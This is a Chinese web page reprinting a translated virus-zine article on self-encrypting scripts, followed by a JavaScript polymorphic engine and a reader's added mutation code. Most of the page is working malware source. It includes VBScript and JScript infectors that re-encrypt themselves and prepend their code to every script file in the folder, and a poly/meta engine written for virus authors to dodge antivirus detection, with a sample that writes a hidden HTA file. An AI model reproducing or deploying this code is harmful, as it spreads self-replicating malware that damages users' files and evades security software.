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自加密脚本文件

2004-11-30 08:47| 投稿: computer

摘要:   自加密脚本文件源文件:29A#7译者:穿透/cvc翻译小组 作者简介:        前DOS/Win16平台下病毒编写者...
  自加密脚本文件源文件:29A#7译者:穿透/cvc翻译小组 作者简介:        前DOS/Win16平台下病毒编写者,若干病毒系列如Ginger(参看杂志Coderz #1中一场恐怖虫灾的实例,不过如果你有更好的代码请联系我)和95年9月的病毒公报上被称为彩虹的病毒的始创者。世界上第一个使用循环区域欺骗(Orsam, 1993年完成代码原型) 技术的病毒的合著者。设计了世界上第一个XMS 交换病毒。 (约翰?高尔特, 1995年RT Fishel编写的,只有30个字节残留,剩下的已被换出)。 世界上第一个把线程本地存储用于复制病毒 (Shrug, 据02年6月病毒公报的描述, 又被称之为Chiton) 的作者设计了世界上首个使用Visual.basic 5/6 语言扩展(OU812)来进行复制的病毒,完成了世界第一个本地可执行病毒(Chthon)。世界第一个使用进程协作防止进程终止技术的病毒(参见02年11月病毒公报的有关报道)世界第一个病毒使用多形SMTP头(Junkmail, 参见02年11月病毒公报的有关报道)。 世界第一个能把任意数据文件转换成可传染目标的病毒 。以及各种各样的变性病毒文章的作者(参见Vlad #7中使您的代码对TBScan不可见的句子)。虽然已经偷闲了好多年,但是庆幸的是我现在又开始工作了。为什么不?   当我们讨论加密宏病毒数量时, 会很惊讶并没有那么多的加密脚本病毒。对这个问题我没有更好的解释, 无论如何,这里我为加密VBScript 和JScript 文件提出一个简单的引擎。这个引擎使用一个带有oligomorphic解码器的易变跳跃码加密。这个加密器支持可变空间,随机变量名,随机变量形成,随机事件关键字(仅限VBScript),以及有常数包位数的可变跳跃码,并能在递归中使用。怎么做?   写自加密脚本的难处在于解密原码本身就是被再加密的,问题就是如何解密源代码, 这里有两种选择: 第一在运行时侯重建源代码,但这不是总那么容易的并且我们需要简单的引擎。 第二, 解密加密后的源代码, 但是只有在结构还不牢固(容易发现和容易分析)的时候这种方法是容易的。 我们在这里使用的就是第二个选择。跳跃代码(定常)   定常跳跃代码的加密是简单的,在一个串中我们为每第n个字符加上记号,n就是代码的跳跃值。在一个简单串中n=1,所以在串中每个字符都是一个记号。加密就是增加n的值,然后用随机值填写没有用过的记号。   首先,n=1   这是我们的串   然后 n=2, 没有使用过的记号设置在这里。   !t!h!i!s! !i!s! !o!u!r! !s!t!r!i!n!g在VBScript中用以下代码实现:   for i = n to len(s) step n     d = d + mid(s, i, 1)   next或者 JScript 代码如下:   d = ""   for (i = n - 1; i < s.length; i += n)     d = d + s.charAt(i)跳跃码(可变的)   可变跳跃码的加密也是这样的,在一个串中每隔n个字节就是一个记号。但是这里对每个不同的记号可以取不同的n值。这是通过存储包中能整除n值的字符来实行的,包的大小p可以是常量或变量,比如这里有一个大小为3的常量包,每个包中n为第一个字符。看起来像这样1t!2!h1i!2!s1 !2!i1s!2! 1o!2!u1r!2! 1s!2!t1r!2!i1n!2!g在这个例子中,n的值在1和2之间变化。在VBScript中用以下代码实现。for i = 1 to len(s) step p     d = d + mid(s, i + mid(s, i, 1), 1)   next同样如下JScript 代码:   d = ""   for (i = 0; i < s.length; i += p)     d = d + s.charAt(i + (s.charAt(i) & 15))同样的结果中"charAt(i) & 15"比 "charCodeAt(i) - 48"字节数更少。可变包大小仍然可以用在包中存储包的大小来实行,每个包都以包大小p为第一个字符,n为第二个字符。看起来像这样:32t!22h33!i22s32 !22i33!s22 32o!22u33!r22 32s!22t33!r22i32n!22g在这个例子中p和n的值在2和3之间变化。如下的VBScript代码中实现了这个方法。   for i = 1 to len(s)     d = d + mid(s, i + mid(s, i + 1, 1), 1)     i = i + mid(s, i, 1)   next同样如下JScript 代码:   d = ""   for (i = 0; i < s.length; i++)   {      d = d + s.charAt(i + (s.charAt(i + 1) & 15))     i = i + (s.charAt(i) & 15)   }p的值(在中间的(s,i,1))是1小于包的实际大小,因为for循环会自动增加i的值。然后:   无论加密有多棒,薄弱的环节是解密。如果解密器非常的复杂,或者某种意义上来说无可取代,那么没有人会陷入加密过的代码中很简单的研究出解密器本身。在脚本的世界里加密容易,使用很简单的解密器却是一种冒险。因为毫无损失的那个看起来就象我们一样。而且,解码器是可以分层的,然后解码需要很长的时间,而且只有第一层是可变的。让我们来看看这些代码,只需要WSH v3+因为没有用到新的特性。首先是VBScript   dim loff,newlset fso=createobject("scripting.filesystemobject")set file=fso.opentextfile(wscript.scriptfullname)bann=file.readlineoldl=file.readlinefile.close randomizedospc 1 rcase 8v1=nvaroutch"("v2=nvaroutch")"                                        'function aaaaa(bbbbb) outch":" rcase 3v3=nvaroutch"="outch"1"rcase 2rcase 3outch"("outv v2outch")"rcase 4v5=mid(oldl,loff,1)                             'old packet sizev6=int(rnd*7)+2                                 'new data size: 2-8                                               'if you do not use ! character, then line can be                                               'v6=int(rnd*7)+2        '1-8outch cstr(v6+1)                                'for ccccc=1 to len(bbbbb) step x outch":" v4=nvaroutch"="rcase 4outch"("rcase 3outch"("outv v2outch","outv v3outch","outch"1"outch")"outch")"                                        'ddddd=cint(mid(bbbbb,ccccc,1)) outch":" outv v1outch"="outv v1outch"+"rcase 3outch"("rcase 3outch"("rcase 3outch"("outv v2outch","outv v3outch"+"outv v4outch","outch"1"outch")"outch")"outch"-"outv v4outch")"                                        'aaaaa=aaaaa+chr(asc(mid(bbbbb,ccccc+ddddd,1))-ddddd) outch":" rcase 4                                         'next outch":" rcase 3rcase 8                                         'end function outch":" rcase 7outch"("outv v1outch"("outch chr(34)cb=instr(mid(oldl,loff),chr(34)) for loff=loff to loff+cb-v5 step v5 oldkey=cint(mid(oldl,loff,1)) do   nkey=int(rnd*v6)+1   c=asc(mid(oldl,loff+oldkey,1))-oldkey+nkey loop while c=34or c>127                       'no " or 8-bit chars newl=newl+cstr(nkey) for kl=2to nkey   newl=newl+rchar next newl=newl+chr(c) for kl=kl to v6   newl=newl+rchar nextnextoutch chr(34)outch")"outch")"                                        'execute(aaaaa("encrypted code")) set dir=fso.getfolder(".")                      'demo version, current directory onlyfor each item in dir.files if lcase(fso.getextensionname(item))="vbs"then   err=0   set inf=fso.opentextfile(item,1)            'open potential victim   if err.number=0then     fst=inf.read(1)                           'read first character     if fst<>"'"then                           'check for infection marker       rest=inf.readall                        'read entire file       attr=item.attributes                    'save attributes       item.attributes=0                       'remove any read-only attribute       err=0       set outf=fso.opentextfile(item,2)       'open file for writing       if err.number=0then         outf.writeline(bann)                  'prepend banner         outf.writeline(newl)                  'prepend code         outf.write(fst+rest)                  'append first character and host         outf.close                            'close file (write mode)       end if       item.attributes=attr                    'restore attributes     end if     inf.close                                 'close file (read mode)   end if end ifnext sub dospc(curoff)                               'replace space with random number of spaces if mid(oldl,curoff,1)=" "then   newl=newl+space(rnd*5+1)   while mid(oldl,curoff,1)=" "     curoff=curoff+1   wend end if loff=curoffend sub sub rcase(lineend)                              'random case switch on keywords for cb=loff to loff+lineend-1   newl=newl+chr(asc(mid(oldl,cb,1))xor(int(rnd*2)*32)) next dospc loff+lineendend sub function rchar                                  'random case letter rchar=chr(int(rnd*26)+65+int(rnd*2)*32)end function sub outv(tvar)                                  'variable followed by random number of spaces newl=newl+tvar dospc loff+instr(mid(oldl,loff)," ")-1end sub function nvar                                   'random sequence of random case letters while tv=v1 or tv=v2 or tv=v3 or tv=v4   tv=""   for cb=1to rnd*5+5                          '5-9 characters     tv=tv+rchar   next wend outv tv nvar=tvend function sub outch(ch)                                   'character followed by random number of spaces newl=newl+ch dospc loff+1end sub Now is JScript version. //Conscrypt - roy g biv 01/02/03fso=new ActiveXObject("scripting.filesystemobject")with(inf=fso.opentextfile(WScript.scriptfullname)){  bann=readline() oldl=readline() close()} Math.random(1)newl=""dospc(0) outv("function")var v1=nvar(),v2,v3,v4,v5outch("(")v2=nvar()outch(")")                                      //function aaaaa(bbbbb) outch("{ ") v3=nvar()outch("=")outv("\"\"")                                    //ccccc="" outch(";") outv("for")outch("(")v4=nvar()outch("=")outch("0")outch(";")outv(v4)outch("<")outv(v2)outch(".")outv("length")outch(";")outv(v4)outv("+=")v6=oldl.charAt(loff)                            //old packet sizev7=(Math.random()*7+2)&15                       //new data size: 2-8                                               //if you do not use ! character, then line can be                                               //v7=(Math.random()*8+1)&15     //1-8outch(v7+1)outch(")")                                      //for(ddddd=0;ddddd<bbbbb.length;ddddd+=x) outch("{ ") v5=nvar()outch("=")outv(v2)outch(".")outv("charAt")outch("(")outv(v4)outch(")")outch("&")outv("15")                                      //eeeee=bbbbb.charAt(ddddd)&15 outch(";") outv(v3)outv("+=")outv("String")outch(".")outv("fromCharCode")outch("(")outv(v2)outch(".")outv("charCodeAt")outch("(")outv(v4)outch("+")outv(v5)outch(")")outch("-")outv(v5)outch(")")                                      //ccccc+=String.fromCharCode(bbbbb.charCodeAt(ddddd+eeeee)-eeeee) outch(" }") outv("return")outv(v3)                                        //return ccccc outch(" }") outv("eval")outch("(")outv(v1)outch("(")outch('"') for(ss=loff+oldl.substr(loff).search(/"/);loff<ss;loff+=v6&15){  oldk=oldl.charAt(loff)&15 do {    nkey=(Math.random()*v7+1)&15   cca=oldl.charCodeAt(loff+oldk)-oldk+nkey  } while(cca==34||cca==92||cca>127)              //no " or \ or 8-bit chars newl+=nkey kl=0 while(++kl<nkey)   newl+=rchar() newl+=String.fromCharCode(cca) while(kl++<v7)   newl+=rchar()} outch('"')outch(")")outch(")")                                      //eval(aaaaa("encrypted code")) for(enu=new Enumerator(fso.getfolder(".").files);!enu.atEnd();enu.moveNext())                                               //demo version, current directory only if(fso.getextensionname(item=enu.item()).toLowerCase()=="js")   try   {      with(inf=fso.opentextfile(item,1))        //open potential victim     {        fst=read(1)                             //read first character, keep for later       if(fst!="/")                            //check for infection marker         try         {            rest=readall()                      //read entire file           attr=item.attributes                //save attributes           item.attributes=0                   //remove any read-only attribute           with(outf=fso.opentextfile(item,2)) //open file for writing           {              writeline(bann)                   //prepend banner             writeline(newl)                   //prepend code             write(fst+rest)                   //append first character and host             close()                           //close file (write mode)           }           item.attributes=attr                //restore attributes         }         catch(z)         {          }       close()                                 //close file (read mode)     }   }   catch(z)   {    } function dospc(coff)                            //replace space with random number of spaces{  if(oldl.charAt(coff)==" ") {    cb=0   while(cb++<=Math.random()*5)     newl+=" "   while(oldl.charAt(coff)==" ")     ++coff  } loff=coff} /* JScript is case-sensitive so this function is not usedfunction rcase(lend)                            //random case switch on keywords{  for(cb=loff;cb<loff+lend;cb++)   newl+=String.fromCharCode(oldl.charCodeAt(cb)^(Math.round(Math.random())*32)) dospc(loff+lend)}*/ function rchar()                                //random case letter{  with(Math)return String.fromCharCode(random()*26+65+round(random())*32)} function outv(tvar)                             //variable or keyword followed by random number of spaces{  newl+=tvar dospc(loff+oldl.substr(loff).search(/ /))} function nvar()                                 //random sequence of random case letters{  do {    tv=""   cb=0   while(++cb<Math.random()*5+6)               //5-9 characters     tv+=rchar()  } while(tv==v1||tv==v2||tv==v3||tv==v4||tv==v5) outv(tv) return tv} function outch(ch)                              //character followed by random number of spaces{  newl+=ch dospc(loff+1)}感谢以下的朋友 (A-Z):Active - Benny - Obleak - Prototype - Ratter - Ronin - RT Fishel -The Gingerbread Man - Ultras - Vecna - VirusBuster - Whiteheadrgb/2003年2月29日上午[email protected] 另外一篇 http://www.retcvc.com/cgi-bin/topic.cgi?forum=12&topic=26&show=0 /****************************************************************************javascript Poly/Meta Engine (VPME)By Vancheer/CVC This code is only for study purpose, I don't take any responsibility for anymalicious effect if you use this code in your virus. Welcome to my first javascript virus relative work. I had an eventual chanceto use JS, then I found JS is a so powerful language, so I decide to writesomething with it. Following is a little description on this engine.1, This engine is writen as an javascript object, so to use it, you shouldknow how JS OOP works. I've seen in the books that says JS is only object-basedor instance-based, not really object-oriented, but I don't think so. I thinkit's easy to write beautiful OOP code by using JS. 2, How does this engine work?Unlike the other script poly engine which encode the main code as a string,VPME doesn't need a code string. Instead of that, it directly encode its selfbody.When doing poly, it will firstly do a simple meta. It will replace the space(20h),tabs(09h) and returns(0dh) by random number of space and tabs, this can makeevery piece of code has a random offset. Then VPME will replace all variableswhich prefixed by a underline('_') with a random string. Beside that, it willreplace all numbers with a random radix, eg, 11 maybe replaced by 0xb or 013.So to help VPME doing the meta, you should put a space anywhere it's possible andprefix the variables with a underline.It's not difficult to parse the JS syntax to distinguish the variable name, butit will cost more code to do so. So it's not bad to use a prefix to indicate thevariable name.After the simple meta, VPME then encrypts the code and generates some decryptioncode, the decryption code is not very random. 3, How to use VPME?It's rather simple to use it. What you should do is only to write your own codein the _run() function. Note, you mustn't put any code out of _main(), youshould write every thing(global variables and functions) in _main(). In _run()function, to create a new generation, you only need to new a _main object, thencall its _encode() function, that function will return the new code. Then youcan write the return string in the <body> element, and it will be decrypted and_run() will be called automatically.Of course you should remove all comment if you use this code in your virus. 4, VPME's disadvantage and potential bugs.A, The code is a little big, the engine size will be about 12-13K in the generations.B, The decryption code is not very random.C, It's very slow to do the poly, so you'd better only create one generationwhen your virus runs.D, It can't hide from NAV if you use some malicious object, eg, fso. I thinkNAV and IE will warn when they meet the call to an object, not only parse thescript code, so poly is useless for this.E, It's not test carefully.****************************************************************************/ function _main(){ this._run = function( ) { /*Write your code here*//*Following code is only a sample, you should replace it with your own code.The sample will write the new generation to e:\ with a 'random' file name asa hta file, then you can run that hta alone*/var _fso = new ActiveXObject("Scripting.FileSystemObject") ;var _date = new Date() ;var s = "E:\\" + _date.getTime() + ".hta" ;var _f = _fso.CreateTextFile( s, true ) ;var _m = new _main() ;s = _m._encode() ;s = "<html><head><HTA:APPLICATION BORDER=\"none\" CAPTION=\"no\" SHOWINTASKBAR=\"no\" SINGLEINSTANCE=\"yes\" SYSMENU=\"no\" WINDOWSTATE=\"minimize\"><body><script language=\"javascript\">" + s + "</script></body></html>" ;_f.write(s);_f.close();/*Write your code end*/} this._symbolNames = new Array( ) ;this._polyNames = new Array( ) ;this._one = 1 ;this._underLine = '\x5f' ; this._polyString = "" ;this._decryptString = "" ;this._decryptFuncName = "" ;this._stringName = "" ; this._keyString = ";+-=,_[]{ }()<>.|&" ; this._getRand = function( _max ) { return Math.floor( Math.random() * _max );} this._isBlank = function( _ibc ) { return ( ' ' == _ibc ) || ( '\t' == _ibc ) || ( '\r' == _ibc );}this._isDigit = function( _idc , _idis16 ) { _xidc = _idc.toLowerCase( ) ;return ( _xidc >= '0' && _xidc <= '9' ) || ( _idis16 && ( _xidc >= "a" && _xidc <= "f" ) );}this._isSymbolChar = function( _scc ) { return ( this._underLine == _scc ) || this._isDigit( _scc , false ) || ( _scc >= 'a' && _scc <= 'z' ) || ( _scc >= 'A' && _scc <= 'Z' ) ;}this._findInArray = function( _arr , _ele ) { var _aindex ;for( _aindex = 0 ; _aindex < _arr.length ; _aindex = _aindex + this._one )if( _arr[ _aindex ] == _ele || _arr[ _aindex ].search( new RegExp( _ele ) ) >= 0 || _ele.search( new RegExp( _arr[ _aindex ] ) ) >= 0 ) return _aindex ;return -1 ;}this._getRandString = function(  ) { var _grs = this._underLine ;var _gindex ;var _grsrnd ;var _grsc ; for( _gindex = 0 ; _gindex < 2 + this._getRand( 3 ) ; _gindex = _gindex + this._one) { _grsrnd = this._getRand( 4 );if( 0 == _grsrnd )_grsc = 0x30 + this._getRand(9) ;else { if( 1 == _grsrnd ) _grsc = 0x41 + this._getRand(26) ;else _grsc = 0x61 + this._getRand(26) ;}_grs = _grs + String.fromCharCode( _grsc );}return _grs ;}this._convertString = function( _constr ) { var _conrs = "";var _coni ;var _conc ; for( _coni = 0 ; _coni < _constr.length ; _coni = _coni + this._one ) { _conc = _constr.charAt( _coni ) ;if( '\x22' == _conc ) _conrs = _conrs + "\\\"" ;else if( '\x27' == _conc ) _conrs = _conrs + "\\\'" ;else if( '\x0a' == _conc ) _conrs = _conrs + "\\n" ;else if( '\\' == _conc ) _conrs = _conrs + "\\\\" ;else _conrs = _conrs + _conc ;}return _conrs ;}this.getRandNumber = function( _rn ) { var _rnret , _rnd2; if( _rn.charAt( 0 ) == '0' && _rn.length > 1 ) { _rnret = _rn.charAt( 1 ) ;if( 'x' == _rnret || 'X' == _rnret )_rnret = parseInt( _rn.substring( 2 ) , 16 );else_rnret = parseInt( _rn.substring( 1 ) , 8 );}else_rnret = parseInt( _rn , 10 );_rnd2 = this._getRand( 3 ) ;if( 0 == _rnd2 ) _rnret =  "0" + _rnret.toString( 8 ) ;else { if( 1 == _rnd2 ) _rnret = "0x" + _rnret.toString( 16 ) ;else _rnret = _rnret.toString( 10 ) ; }return _rnret ;} this._poly = function( _code ) { var _i , _j ;var _c , _t ;var _s = ""  ;var _is16 ; this._symbolNames.length = 0 ;this._polyNames.length = 0 ;for( _i = 0 ; _i < _code.length ; _i = _i + this._one ) { _c = _code.charAt( _i ) ;if( this._isBlank( _c ) ) { while( this._isBlank( _code.charAt( _i ) ) && ( _i < _code.length - this._one ) )_i = _i + this._one ;if( !this._isBlank( _code.charAt( _i ) ) )_i = _i - this._one ;for( _j = 0 ; _j <= this._getRand( this._one * 5) + this._one ; _j = _j + this._one)if( this._getRand( this._one * 2) == 0 )_s = _s + ' ' ;else_s = _s + '\t' ;}else { if( this._isDigit( _c ) && this._isBlank( _s.charAt( _s.length - this._one ) ) ) { _t = "";_is16 = false ;while( ( this._isDigit( _c , _is16 ) || "x" == _c || "X" == _c ) && ( _i < _code.length - this._one ) ) { if( "x" == _c || "X" == _c ) _is16 = true ;_t = _t + _c ;_i = _i + this._one ;_c = _code.charAt( _i ) ;}_i = _i - this._one ;_s = _s + this.getRandNumber( _t ) ;}else { if( "\"" == _c ||  "'" == _c ) { _s = _s + _c;while( _i < ( _code.length - this._one ) ) { _i = _i + this._one ;_t = _code.charAt( _i ) ;_s = _s + _t ;if( "\\" == _t) { _i = _i + this._one ;_s = _s + _code.charAt( _i ) ;}if( _t == _c ) break ;}}else { if( this._underLine == _c) { _s = _s + _c ;if(!this._isSymbolChar( _code.charAt( _i - 1) ) ) { var _sym = this._underLine ;_i = _i + this._one;while( this._isSymbolChar( _code.charAt( _i ) ) && _i < ( _code.length - this._one ) ) { _t = _code.charAt( _i ) ;_s = _s + _t;_sym = _sym + _t;_i = _i + this._one;}if( this._findInArray( this._symbolNames , _sym ) < 0 )this._symbolNames[this._symbolNames.length] = _sym ;if( !this._isSymbolChar( _code.charAt( _i ) ) )_i = _i - this._one;}}else_s = _s + _c ;}}}} for( _i = 0 ; _i < this._symbolNames.length ; _i = _i + this._one ) { _t = this._getRandString( ) ;_j = 0 ;while( _j < 50 && ( this._findInArray( this._symbolNames, _t ) >= 0 || this._findInArray( this._polyNames, _t ) >= 0 ) ) { _t = this._getRandString( ) ;_j = _j + this._one ;}if( _j >= 5 ) _t = "" ;this._polyNames[this._polyNames.length] = _t ;if( _t != "" ) { var _regexp = new RegExp( this._symbolNames[ _i ] ) ;var _rr = _s ;for( _j = 0 ; _j < 1000 ; _j = _j + this._one ) { _rr = _rr.replace( _regexp, _t ) ;if( _rr == _s ) break;_s = _rr ;}}} return _s ;} this._encrypt = function( _str ) { var _es = "" ;var _ei , _er ;var _ks = "" ;var _ec ;var _kstr = "" ; for( _ei = 0x61 ;_ei <= 0x7a ; _ei++ ) _kstr = _kstr + String.fromCharCode( _ei ) ;for( _er = 0x41 ;_er <= 0x5a ; _er++ ) _kstr = _kstr + String.fromCharCode( _er ) ;for( _ec = 0x30 ;_ec <= 0x39 ; _ec++ ) _kstr = _kstr + String.fromCharCode( _ec ) ;_kstr = _kstr + this._keyString ;for ( _ei = 0 ; _ei < 100 ; _ei = _ei + this._one ) { _er = this._getRand( _kstr.length ) ;if( _ks.indexOf( _kstr.charAt( _er ) ) < 0 )_ks = _ks + _kstr.charAt( _er ) ;}for ( _ei = 0 ; _ei < _kstr.length ; _ei = _ei + this._one ) { if( _ks.indexOf( _kstr.charAt( _ei ) ) < 0 )_ks = _ks + _kstr.charAt( _ei ) ;}for( _ei = _str.length - 1 ; _ei >= 0 ; _ei = _ei - this._one ) { _ec = _str.charAt( _ei ) ;_er = _ks.indexOf( _ec ) ;if( _er >= 0 ) _ec = _kstr.charAt( _er ) ;_es = _es + _ec ;}this._decryptFuncName = this._getRandString( ) ; this._decryptString = this._poly( "( _str ) { var _es = \"\" , _ks = \"" + _ks + "\" , _key =\"\", _sk = \"" + this._keyString + "\" ; var _ei , _er , _ec; for( _ei = 0x61 ;_ei <= 0x7a ; _ei++ ) _key = _key + String.fromCharCode( _ei ) ; for( _er = 0x41 ;_er <= 0x5a ; _er++ ) _key = _key + String.fromCharCode( _er ) ; for( _ec = 0x30 ;_ec <= 0x39 ; _ec++ ) _key = _key + String.fromCharCode( _ec ) ; _key = _key + _sk ; for( _ei = _str.length - 1 ; _ei >= 0 ; _ei-- ) { _ec = _str.charAt( _ei ) ; _er = _key.indexOf( _ec ) ; if( _er >= 0 ) _ec = _ks.charAt( _er ) ; _es = _es + _ec ; } return _es; }" ) ;this._decryptString = "function " + this._decryptFuncName + this._decryptString; return _es ;} this._encode = function( ) { var _ni = new String( _main ) ; _ni = _ni + "\n ( new _main( ) )._run( ) ;" ;this._stringName = this._getRandString( ) ;this._polyString = this._poly( _ni ) ;this._polyString = "var " + this._stringName + " = \"" + this._convertString( this._encrypt( this._polyString ) ) + "\";" ; return this._decryptString + "\n" + this._polyString + "\n eval(" + this._decryptFuncName + "(" + this._stringName +"));" ;}} 我的补充:[冰狐浪子] //.号小数点////-号浮点值1e-4, 1.0e-4////i++;i--不能分开////i ++//空格不能变回车等//for( _i = 0 ; _i < _code.length ;_i++ )// ; 号后不可_bx0(9)//switch (Math.floor(Math.random()*_num)) { //{ 号后不_bx0(9 function bx( _code ) { var _a,_b,_c ,_d;var _i;var _s = ''; for( _i = 0 ; _i < _code.length ;_i++ ) { _c = _code.charAt( _i ) ;_d = _code.charAt(_i+1) ;_b=_c+_d; //注释的内容不变if(_b=='/*') { _s += _b;++_i;while( _i < _code.length -1 ) { _c = _code.charAt( ++_i ) ;_d = _code.charAt( _i+1 ) ;_b=_c+_d;_s += _c ;if( _b =='*/' ) { ++_i;_s += _d;break ; }}continue;} if(_b=='//') { _s += _b;_i++;while( _i < _code.length -1 ) { _c = _code.charAt( ++_i ) ;_s += _c ;if( _c == '\r'||_c == '\n') break ;}continue;} //引号中的内容不变 //变形:引号前后加括号(),如:("h")if( _c =='"' || _c == '\'' ) { /*_s += _c;*/_s +="("+ _c;while( _i < _code.length -1 ) { _d = _code.charAt( ++_i ) ;_s += _d ;if( '\\' == _d) { _s += _code.charAt( ++_i ) ; }if( _d == _c ) { _s +=")";/**/break ; }}continue;} //正则表达式的内容不变//过滤正则表达式,如:re = /""    abc /gim;if( _c == '/') { _a=_i;_b = _s;_s += _c;while( _i < _code.length -1 ) { _c = _code.charAt( ++_i ) ;if( _c == '\r'||_c == '\n'||_i==(_code.length -1) ) { _s=_b+_bx0(5)+'/';if(_d != '=') { _s += _bx0(5); }_i=_a;break ; }//不是正则表达式 /*则是除号在此变形*/ /*_s=_b+'/';*/_s += _c ;if( '\\' == _c) { _s += _code.charAt( ++_i ); }if( _c == '/' ) { while( _i < _code.length -1 ) { _c = _code.charAt( ++_i );if('gim'.indexOf(_c)>= 0) { _s += _c ;continue; }_s +=_bx0(5);//变形:此处_s可以加上(\r,\n,空格,Tab,注释)--_i;break;}break;}}continue;} //变形 if('!%*^&+-<>|()[],.:?~={ }; \t\r\n'.indexOf(_c)>= 0){ //!%*^变形if('!%*^'.indexOf(_c)>= 0) { _s += _bx0(5) +_c;if(_d != '=') { _s += _bx0(5); }continue;} //+-变形//-号浮点值1e-4, 1.0e-4////i++;i--不能分开// if('+-'.indexOf(_c)>= 0) { if( _d !=_c && _d != '=') _s += _c + _bx0(5);else _s += _c;continue;}//&<>|变形if('&<>|'.indexOf(_c)>= 0) { if( _s.charAt(_s.length-1) !=_c ) _s += _bx0(5);if( _d !=_c && _d != '=') _s += _c + _bx0(5);else _s += _c;continue;}//.变形//.号小数点//if(_c=='.') { _s += _c ;continue; } //()[],:?~变形//.号小数点//if('()[],:?~{ ;'.indexOf(_c)>= 0) { _s += _bx0(5) +_c + _bx0(5);continue; } //=变形if(_c == '=') { if( '!%&*+-/<=>^|'.indexOf( _s.charAt(_s.length-1) )< 0 ) _s += _bx0(5);if(_d != '=') _s += _c + _bx0(5);else _s += _c;continue;} // }变形if(_c==' }') { _s += _bx0(5) + _c + _bx0(9);continue;} //空格和横向跳格(Tab)if(' ' == _c || '\t' == _c){ _s += Math.random()>0.5?' ':'\t'continue;} //回车及换行if('\r' == _c || '\n' == _c ){ _s += _bx0(5) + _bx1(4) + _bx0(5);continue;}}//变形结束 //剩余的_s += _c ; } return _s;} //_bx0(5)_bx0(9)function _bx0(_num){ //随机生成 \r \n \n\r \r\n 空格 \t //注释(\r或\n) /*注释*/ *5*9var _bx="";switch (Math.floor(Math.random()*_num)) { case 0:_bx=_bx1(4);break;case 1:_bx=' ';break;case 2:_bx='\t';break;case 3:_bx='//注释'+_bx1(4);break;case 4:_bx='/*注释*/';break;case 5:_bx=(Math.random()>0.5?'"字符串"':"'字符串'")+_bx1(5);break;case 6:_bx=_bx2(999)+_bx1(5);break;//数字case 7:_bx='{ }';break;case 8:_bx='(0);';break;//_bx='(0)'+_bx1(5);case 9:_bx='[];';break;//_bx='[]'+_bx1(5);case 10:_bx='1==1;';break;//无用语句//_bx='1==1'+_bx1(5);default :_bx='';} return _bx;} function _bx1(_num){ //随机生成\r \n \r\n \n\r ; var _bx="";switch (Math.floor(Math.random()*_num)) { case 0:_bx='\r';break;case 1:_bx='\n';break;case 2:_bx='\n\r';break;case 3:_bx='\r\n';break;default :_bx=';';} return _bx; }function _bx2(_num){ //随机生成8(0) 10 16(0x 0X AF af) (+ -)号 进制的数字 浮点数(eE) 小数点 var _bx=(Math.random()>0.5?'+':'-');_bx=(Math.random()>0.5?'':_bx);_num =Math.floor( Math.random()*_num );switch (Math.floor(Math.random()*4)) { case 0:_bx=_bx+'0'+_num.toString(8);break;case 1:_bx=_bx+_num.toString(10);break;case 2:_bx=_bx+'0x'+_num.toString(16);break;case 3:_bx=_bx+'0'+_num.toString(10);break;default :_bx='';} return _bx; } function ScriptEncoder(code,Script){ if (code)return new ActiveXObject("Scripting.Encoder").EncodeScriptFile("."+Script,code,0,"");}再用这个编码!应该可以拉!
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